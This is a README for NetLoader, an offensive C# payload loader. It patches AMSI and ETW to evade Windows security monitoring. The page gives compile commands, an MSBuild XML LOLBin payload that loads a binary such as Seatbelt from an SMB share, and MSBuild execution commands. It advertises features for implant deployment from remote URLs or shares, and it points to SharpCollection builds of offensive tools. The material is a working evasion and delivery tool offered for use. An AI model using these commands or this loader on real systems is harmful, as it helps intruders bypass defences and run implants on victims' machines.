** 01.10.2021 : Non-Obfuscated source code + SharpSploit to 'bypass' userland hooks when patching AMSI and ETW**

Looking for binaries/payloads to deploy? Checkout SharpCollection!.
SharpCollection contains nightly builds of C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:RandomName.exe Program.cs

Payload for MSBuild is in the /LOLBins folder, might push this for varius other LOLBins aswell. Arguments have to be added into the bottom XML file when NetLoader is deployed using MSBuild

Adding arguments to the XML payload
    public class ClassExample : Task, ITask
    {
        public override bool Execute()
        {	//Add your arguments here 
            SoullikePrincelier.Main(new string[] { "--path", "\\smbshare\Seatbelt.exe" });
            return true;
        }
    }

For 64 bit:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe NetLoader.xml

For 32 bit:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe NetLoader.xml

Deploy payload from local path or SMB share (note that NetLoader automatically detects whether the path provided is local or remote)

• Automate the build and release of many of the Sharp Tools so they automagically appear in /BinariesSharpCollection (CDI / Azure DevOps)
• Add support for non-interactive use (input args)
• Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment)
• Add an working MSBuild XML payload for the LOLBins lovers (Myself included)
• Update with credits and links to the github repos that /BinariesSharpCollection are compiled from

Arno0x for the partial rewrite that is now merged into the main repo see gist _RastaMouse for the AMSI bypass
